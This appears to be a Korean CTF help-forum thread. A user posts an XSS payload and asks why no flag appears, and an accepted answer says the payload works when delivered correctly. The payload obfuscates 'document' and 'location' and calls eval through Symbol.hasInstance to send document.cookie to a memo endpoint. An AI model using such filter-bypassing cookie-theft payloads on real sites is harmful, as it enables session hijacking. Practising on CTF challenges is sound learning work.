완료됨
5 코인
왜 답이 안나오는건지 이해가 잘 안됩니다
'\u0064ocument["locatio"+"n"].href="/memo?memo=" + \u0064ocument.cookie;'instanceof{[Symbol.hasInstance]:eval};
이런식으로 페이로드를 짜봤는데 왜 flag가 안나오는지 모르겠어요
답변
1
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
제가 해당 구문을 테스트 해보았을 때 잘 동작합니다.
제가 예상하기로 해당 payload를 '\u0064ocument["locatio"+"n"].href="/memo?memo=" + \u0064ocument.cookie;'instanceof{[Symbol.hasInstance]:eval}; 를 바로 /flag 엔드포인트에 바로 넘겨주어 javascript로 인식을 못하고 동작을 안 했던것 같습니다.
그것이 아니라면 " 충돌 났거나 사소한 issue로 안 됬던것 같습니다.
추가로 궁금한게 있으시면 디스코드로 연락 주셔도 괜찮습니다.
디스코드 : e_ash1